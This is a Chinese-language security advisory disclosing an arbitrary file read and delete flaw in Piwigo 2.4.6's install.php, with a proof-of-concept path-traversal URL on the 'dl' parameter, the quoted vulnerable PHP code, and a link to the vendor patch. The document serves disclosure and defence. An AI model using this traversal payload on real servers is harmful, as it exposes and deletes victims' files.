Piwigo任意文件泄露和任意文件删除漏洞


发布日期:2013-02-18
更新日期:2013-02-21

受影响系统:
Piwigo Piwigo
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 58016
 
Piwigo是用PHP编写的相册脚本。
 
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
 
<*来源:Gjoko Krstic (liquidworm@gmail.com)
 
  链接:http://packetstormsecurity.com/files/120380/Piwigo-2.4.6-Arbitrary-File-Read-Delete.html
        http://osvdb.org/show/osvdb/90357
 *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://www.example.com/piwigo/install.php?dl=../../../../../../lio_passwords.txt
 
====================================================================
 /install.php:
 -------------
 
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
 114: {
 115:  $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
 116:  header('Cache-Control: no-cache, must-revalidate');
 117:  header('Pragma: no-cache');
 118:  header('Content-Disposition: attachment; filename="database.inc.php"');
 119:  header('Content-Transfer-Encoding: binary');
 120:  header('Content-Length: '.filesize($filename));
 121:  echo file_get_contents($filename);
 122:  unlink($filename);
 123:  exit();
 124: }
 
====================================================================
 

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
            Apache 2.4.2 (Win32)
            PHP 5.4.4
            MySQL 5.5.25a

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
Piwigo
 ------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://piwigo.org/bugs/view.php?id=2843

相关内容

    暂无相关文章